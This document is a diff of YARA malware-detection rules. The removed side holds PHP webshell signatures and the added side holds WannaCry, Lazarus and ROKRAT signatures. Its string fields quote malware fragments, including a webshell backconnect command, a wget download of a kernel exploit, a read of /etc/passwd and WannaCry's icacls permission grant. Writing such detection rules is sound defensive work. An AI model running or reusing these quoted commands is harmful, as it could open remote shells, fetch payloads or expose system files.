-		hash12 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
-		hash13 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
-		hash14 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+		hash1 = "711f0a635bbd6bf1a2890855d0bd51dff79021db45673541972fe6e1288f5705"
 
 	strings:
-		$s1 = "displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\"));" fullword ascii
-		$s2 = "displaysecinfo(\"RAM\",myshellexec(\"free -m\"));" fullword ascii
-		$s3 = "displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\"));" fullword ascii
-		$s4 = "$ret = myshellexec($handler);" fullword ascii
-		$s5 = "if (posix_kill($pid,$sig)) {echo \"OK.\";}" fullword ascii
+		$s1 = "nflogger.dll" fullword wide
+		$s2 = "%s %d: CreateProcess('%s', '%s') failed. Windows error code is 0x%08x" fullword ascii
+		$s3 = "_StartZlhh(): Executed \"%s\"" ascii
+		$s4 = "Executable: '%s' (%s) %i" fullword ascii
 
 	condition:
-		filesize <900KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
 }
-rule SIGNATURE_BASE_Webshell_R57Shell_2 : FILE
+rule SIGNATURE_BASE_Wannacry_Ransomware : FILE
 {
 	meta:
-		description = "Detects Webshell R57"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f2298430-1eff-5ed2-abee-3b26b36d16b7"
-		date = "2016-01-11"
+		description = "Detects WannaCry Ransomware"
+		author = "Florian Roth (Nextron Systems) (with the help of binar.ly)"
+		id = "2e46b4db-8c94-53ed-ae27-31dd37b04940"
+		date = "2017-05-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9304-L9331"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2af51c3d181801b14d5dbb3107cd78cf7ab4a590b7967f231ec707b7ee03fa26"
-		score = 70
-		quality = 85
+		reference = "https://goo.gl/HG2j5T"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_wannacry.yar#L12-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a652444d7946dbbc4fae76cd01f2e20993999fd1e6fc48a9ac0da57aab87a2da"
+		score = 75
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
-		hash2 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
-		hash3 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
-		hash4 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
-		hash5 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
-		hash6 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
-		hash7 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
-		hash8 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
-		hash9 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
-		hash10 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
-		hash11 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
-		hash12 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
-		hash13 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
+		hash1 = "ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa"
 
 	strings:
-		$s1 = "$connection = @ftp_connect($ftp_server,$ftp_port,10);" fullword ascii
-		$s2 = "echo $lang[$language.'_text98'].$suc.\"\\r\\n\";" fullword ascii
+		$x1 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
+		$x2 = "taskdl.exe" fullword ascii
+		$x3 = "tasksche.exe" fullword ascii
+		$x4 = "Global\\MsWinZonesCacheCounterMutexA" fullword ascii
+		$x5 = "WNcry@2ol7" fullword ascii
+		$x6 = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" ascii
+		$x7 = "mssecsvc.exe" fullword ascii
+		$x8 = "C:\\%s\\qeriuwjhrf" fullword ascii
+		$x9 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
+		$s1 = "C:\\%s\\%s" fullword ascii
+		$s2 = "<!-- Windows 10 --> " fullword ascii
+		$s3 = "cmd.exe /c \"%s\"" fullword ascii
+		$s4 = "msg/m_portuguese.wnry" fullword ascii
+		$s5 = "\\\\192.168.56.20\\IPC$" fullword wide
+		$s6 = "\\\\172.16.99.5\\IPC$" fullword wide
+		$op1 = { 10 ac 72 0d 3d ff ff 1f ac 77 06 b8 01 00 00 00 }
+		$op2 = { 44 24 64 8a c6 44 24 65 0e c6 44 24 66 80 c6 44 }
+		$op3 = { 18 df 6c 24 14 dc 64 24 2c dc 6c 24 5c dc 15 88 }
+		$op4 = { 09 ff 76 30 50 ff 56 2c 59 59 47 3b 7e 0c 7c }
+		$op5 = { c1 ea 1d c1 ee 1e 83 e2 01 83 e6 01 8d 14 56 }
+		$op6 = { 8d 48 ff f7 d1 8d 44 10 ff 23 f1 23 c1 }
 
 	condition:
-		filesize <900KB and all of them
+		uint16(0)==0x5a4d and filesize <10000KB and (1 of ($x*) and 1 of ($s*) or 3 of ($op*))
 }
-rule SIGNATURE_BASE_Webshell_27_9_Acid_C99_Locus7S : FILE
+rule SIGNATURE_BASE_Wannacry_Ransomware_Gen : FILE
 {
 	meta:
-		description = "Detects Webshell - rule generated from from files 27.9.txt, acid.php, c99_locus7s.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f5f33b64-b815-5e32-8d2e-5e455651ec5d"
-		date = "2016-01-11"
+		description = "Detects WannaCry Ransomware"
+		author = "Florian Roth (Nextron Systems) (based on rule by US CERT)"
+		id = "d28d3d76-9c24-5476-9a0c-936c17477d6a"
+		date = "2017-05-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9333-L9355"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3005c09dfcb1f2e33a09ed73e28ef889c74e1f5daf619dd272e0b9b30cdb0f94"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-132A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_wannacry.yar#L48-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8f81c918dc1e2c8ef2e334ae504f88b10aef9e54a64486061d45296d2d738aab"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
-		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
-		hash3 = "960feb502f913adff6b322bc9815543e5888bbf9058ba0eb46ceb1773ea67668"
-		hash4 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
-		hash5 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
-		hash6 = "5ae121f868555fba112ca2b1a9729d4414e795c39d14af9e599ce1f0e4e445d3"
-		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
-		hash8 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash1 = "9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05"
+		hash2 = "8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df"
+		hash3 = "4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359"
 
 	strings:
-		$s0 = "$blah = ex($p2.\" /tmp/back \".$_POST['backconnectip'].\" \".$_POST['backconnectport'].\" &\");" fullword ascii
-		$s1 = "$_POST['backcconnmsge']=\"</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>\";" fullword ascii
+		$s1 = "__TREEID__PLACEHOLDER__" ascii
+		$s2 = "__USERID__PLACEHOLDER__" ascii
+		$s3 = "Windows for Workgroups 3.1a" fullword ascii
+		$s4 = "PC NETWORK PROGRAM 1.0" fullword ascii
+		$s5 = "LANMAN1.0" fullword ascii
 
 	condition:
-		filesize <1711KB and 1 of them
+		uint16(0)==0x5a4d and filesize <5000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Backdoor_PHP_Agent_R57_Mod_Bizzz_Shell_R57 : FILE
+rule SIGNATURE_BASE_Wanncry_M_Vbs : FILE
 {
 	meta:
-		description = "Detects Webshell - rule generated from from files Backdoor.PHP.Agent.php, r57.mod-bizzz.shell.txt ..."
+		description = "Detects WannaCry Ransomware VBS"
 		author = "Florian Roth (Nextron Systems)"
-		id = "00d3159c-f5d2-5b49-9499-3bb938776858"
-		date = "2016-01-11"
+		id = "a8f13bd2-984d-5c8c-ac53-7d442e222850"
+		date = "2017-05-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9357-L9382"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51660ea25d1b2290c0ca30377dbf378cac8d7b7650603f1dbe5b7914c530d5cf"
-		score = 70
+		reference = "https://goo.gl/HG2j5T"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_wannacry.yar#L68-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4606834535b4cad2e0d4a9bf6519fc4d749422fa4920f91fed9147ccfdff090"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
-		hash2 = "f51a5c5775d9cca0b137ddb28ff3831f4f394b7af6f6a868797b0df3dcdb01ba"
-		hash3 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
-		hash4 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
-		hash5 = "6dc417db9e07420a618d44217932ca8baf3541c08d5e68281e1be10af4280e4a"
-		hash6 = "5d07fdfee2dc6d81da26f05028f79badd10dec066909932129d398627b2f4e94"
-		hash7 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
-		hash8 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
-		hash9 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
-		hash10 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
-		hash11 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
+		hash1 = "51432d3196d9b78bdc9867a77d601caffd4adaa66dcac944a5ba0b3112bbea3b"
 
 	strings:
-		$s1 = "$_POST['cmd'] = which('" ascii
-		$s2 = "$blah = ex(" ascii
+		$x1 = ".TargetPath = \"C:\\@" ascii
+		$x2 = ".CreateShortcut(\"C:\\@" ascii
+		$s3 = " = WScript.CreateObject(\"WScript.Shell\")" ascii
 
 	condition:
-		filesize <600KB and all of them
+		( uint16(0)==0x4553 and filesize <1KB and all of them )
 }
-rule SIGNATURE_BASE_Webshell_C100 : FILE
+rule SIGNATURE_BASE_Wanncry_BAT : FILE
 {
 	meta:
-		description = "Detects Webshell - rule generated from from files c100 v. 777shell"
+		description = "Detects WannaCry Ransomware BATCH File"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aa8317ff-680d-5b60-b8a9-a77ea58f0ed0"
-		date = "2016-01-11"
+		id = "0929f0de-28ac-5534-a6fd-7b131abda011"
+		date = "2017-05-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9384-L9408"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cc8c59f70f5ec6c89812b1597e9b864e358593ea5782e359cd483dee1a84b28b"
-		score = 70
+		reference = "https://goo.gl/HG2j5T"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_wannacry.yar#L85-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "472c6aa0f1b5229d639ef347ea39947d3fd292cda3c4086e29a19b64daad4f3f"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
-		hash2 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
-		hash3 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
-		hash4 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
-		hash5 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
-		hash6 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
-		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash1 = "f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077"
 
 	strings:
-		$s0 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/debug/k3\">Kernel attack (Krad.c) PT1 (If wget installed)" fullword ascii
-		$s1 = "<center>Kernel Info: <form name=\"form1\" method=\"post\" action=\"http://google.com/search\">" fullword ascii
-		$s3 = "cut -d: -f1,2,3 /etc/passwd | grep ::" ascii
-		$s4 = "which wget curl w3m lynx" ascii
-		$s6 = "netstat -atup | grep IST" ascii
+		$s1 = "@.exe\">> m.vbs" ascii
+		$s2 = "cscript.exe //nologo m.vbs" fullword ascii
+		$s3 = "echo SET ow = WScript.CreateObject(\"WScript.Shell\")> " ascii
+		$s4 = "echo om.Save>> m.vbs" fullword ascii
 
 	condition:
-		filesize <685KB and 2 of them
+		( uint16(0)==0x6540 and filesize <1KB and 1 of them )
 }
-rule SIGNATURE_BASE_Webshell_Acidpoison : FILE
+rule SIGNATURE_BASE_Wannacry_Ransomnote : FILE
 {
 	meta:
-		description = "Detects Poison Sh3ll - Webshell"
+		description = "Detects WannaCry Ransomware Note"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6c201221-ca67-57fb-9bc7-fab4fc1da982"
-		date = "2016-01-11"
+		id = "65ce8faf-0981-5382-bc15-f094ccaa9f54"
+		date = "2017-05-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9410-L9433"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "31add38bcdc33d5e4b825bfa18ff1a47d5aa5aaeebd8e3adac533c471aa30629"
-		score = 70
+		reference = "https://goo.gl/HG2j5T"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_wannacry.yar#L103-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "da814848f4616166bd7b92fa1d55a54b565fa8e6036cb895e5795448e989a99d"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
-		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
-		hash3 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
-		hash4 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
-		hash5 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
-		hash6 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
-		hash7 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
-		hash8 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
-		hash9 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
-		hash10 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash1 = "4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e"
 
 	strings:
-		$s1 = "elseif ( enabled(\"exec\") ) { exec($cmd,$o); $output = join(\"\\r\\n\",$o); }" fullword ascii
+		$s1 = "A:  Don't worry about decryption." fullword ascii
+		$s2 = "Q:  What's wrong with my files?" fullword ascii
 
 	condition:
-		filesize <550KB and all of them
+		( uint16(0)==0x3a51 and filesize <2KB and all of them )
 }
-rule SIGNATURE_BASE_Webshell_Acid_Fatalisticz_Fx_Fx_P0Ison_Sh3Ll_X0Rg_Byp4Ss_256 : FILE
+rule SIGNATURE_BASE_APT_Lazaruswannacry : FILE
 {
 	meta:
-		description = "Detects Webshell"
-		author = "Florian Roth (Nextron Systems)"
-		id = "80f7d202-adb8-5d9c-b176-576e3b9553c1"
-		date = "2016-01-11"
+		description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta"
+		author = "Costin G. Raiu, Kaspersky Lab"
+		id = "e9dd9750-2366-503a-a879-972dbead6bf3"
+		date = "2017-05-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9435-L9454"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "07cd255247c9a77b1c9b6049a2b96632252ea9572880b10991c6797c14a05d48"
-		score = 70
+		reference = "https://twitter.com/neelmehta/status/864164081116225536"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_wannacry.yar#L121-L147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9c7c7149387a1c79679a87dd1ba755bc"
+		hash = "ac21c8ad899727137c4b94458d7aa8d8"
+		logic_hash = "8b32f1ea45a346088a18761540df3387997b53ea853f7a53cd292c9224f11209"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
-		hash2 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
-		hash3 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
-		hash4 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
-		hash5 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+		version = "1.0"
 
 	strings:
-		$s0 = "<form method=\"POST\"><input type=hidden name=act value=\"ls\">" fullword ascii
-		$s2 = "foreach($quicklaunch2 as $item) {" fullword ascii
+		$a1 = { 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
+         04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 46
+         56 E8 }
+		$a2 = { 03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
+         10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
+         30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
+         38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
+         44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
+         68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
+         FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
+         08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
+         10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
+         2B C0 2C C0 FF FE }
 
 	condition:
-		filesize <882KB and all of them
+		uint16(0)==0x5A4D and filesize <15000000 and all of them
 }
-rule SIGNATURE_BASE_Webshell_Ayyildiz : FILE
+import "pe"
+
+rule SIGNATURE_BASE_ROKRAT_Malware : FILE
 {
 	meta:
-		description = "Detects Webshell"
+		description = "Detects ROKRAT Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc752958-eb6c-5185-b94c-5fcec833924d"
-		date = "2016-01-11"
-		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9456-L9475"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8441b7d730e337e002eeb7ae8f489e405409ddbe62f45bbc9a74c935d1d9fe66"
-		score = 70
+		id = "52e7e144-b704-5254-9a0f-928fbc96f877"
+		date = "2017-04-03"
+		modified = "2021-09-14"
+		reference = "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rokrat.yar#L8-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8b8fa3f97ce13e501cc25b89e2cfdaf785f1cb9f57a9dbd3461596b1bc6178c2"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0e25aec0a9131e8c7bd7d5004c5c5ffad0e3297f386675bccc07f6ea527dded5"
-		hash2 = "9c43aada0d5429f8c47595f79a7cdd5d4eb2ba5c559fb5da5a518a6c8c7c330a"
-		hash3 = "2ebf3e5f5dde4a27bbd60e15c464e08245a35d15cc370b4be6b011aa7a46eaca"
-		hash4 = "77a63b26f52ba341dd2f5e8bbf5daf05ebbdef6b3f7e81cec44ce97680e820f9"
-		hash5 = "61c4fcb6e788c0dffcf0b672ae42b1676f8a9beaa6ec7453fc59ad821a4a8127"
+		hash1 = "051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00"
+		hash2 = "cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c"
 
 	strings:
-		$s0 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\"), 1)) .\"\\\">Parent Directory</option>\\n\";" fullword ascii
-		$s1 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";" fullword ascii
+		$x1 = "c:\\users\\appdata\\local\\svchost.exe" fullword ascii
+		$x2 = "c:\\temp\\episode3.mp4" fullword ascii
+		$x3 = "MAC-SIL-TED-FOO-YIM-LAN-WAN-SEC-BIL-TAB" ascii
+		$x4 = "c:\\temp\\%d.tmp" ascii fullword
+		$s1 = "%s%s%04d%02d%02d%02d%02d%02d.jar" fullword ascii
+		$s2 = "\\Aboard\\Acm%c%c%c.exe" ascii
+		$a1 = "ython" ascii fullword
+		$a2 = "iddler" ascii fullword
+		$a3 = "egmon" ascii fullword
+		$a6 = "iresha" ascii fullword
 
 	condition:
-		filesize <112KB and all of them
+		uint16(0)==0x5a4d and filesize <25000KB and (1 of ($x*) or (5 of them ))
 }
-rule SIGNATURE_BASE_Webshell_Zehir : FILE
+import "pe"
+
+rule SIGNATURE_BASE_ROKRAT_Dropper_Nov17 : FILE
 {
 	meta:
-		description = "Detects Webshell - rule generated from from files elmaliseker.asp, zehir.asp, zehir.txt, zehir4.asp, zehir4.txt"
+		description = "Detects dropper for ROKRAT malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7f8f15a6-1c5b-5c75-b61a-df7b18699f5a"
-		date = "2016-01-11"
+		id = "4f3156a2-6b1b-5c65-b8fa-84c0b739d703"
+		date = "2017-11-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/nikicat/web-malware-collection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9477-L9496"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8fda66ada3581d2471b322ae65032b68c69b882c29f7469dd2ed78800c9c5f7"
-		score = 70
+		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rokrat.yar#L48-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4a444342a4fb4d10aaf8efb5c26954847ce1089c9cec37d1ab3b03e0ac566c6c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "16e1e886576d0c70af0f96e3ccedfd2e72b8b7640f817c08a82b95ff5d4b1218"
-		hash2 = "0c5f8a2ed62d10986a2dd39f52886c0900a18c03d6d279207b8de8e2ed14adf6"
-		hash3 = "cb9d5427a83a0fc887e49f07f20849985bd2c3850f272ae1e059a08ac411ff66"
-		hash4 = "b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d"
-		hash5 = "febf37a9e8ba8ece863f506ae32ad398115106cc849a9954cbc0277474cdba5c"
-
-	strings:
-		$s1 = "for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';" fullword ascii
-		$s2 = "if (frmUpload.max.value<=0) frmUpload.max.value=1;" fullword ascii
+		hash1 = "eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14"
+		hash2 = "a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037"
 
 	condition:
-		filesize <200KB and 1 of them
+		uint16(0)==0x5a4d and filesize <2500KB and pe.imphash()=="c6187b1b5f4433318748457719dd6f39"
 }
-rule SIGNATURE_BASE_Uploadshell_98038F1Efa4203432349Badabad76D44337319A6 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Freeenki_Infostealer_Nov17 : FILE
 {
 	meta:
-		description = "Detects a web shell"
+		description = "Detects Freenki infostealer malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f385b091-ce0d-5d5b-8eeb-57e00c8d0210"
-		date = "2016-09-10"
-		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9507-L9522"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "68f0de84a387a9af1a32dd8d38c66b002e16e1c954a51e6bc307580180faedbf"
+		id = "01365093-e40a-524a-8a13-217742542f1e"
+		date = "2017-11-28"
+		modified = "2023-01-06"
+		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
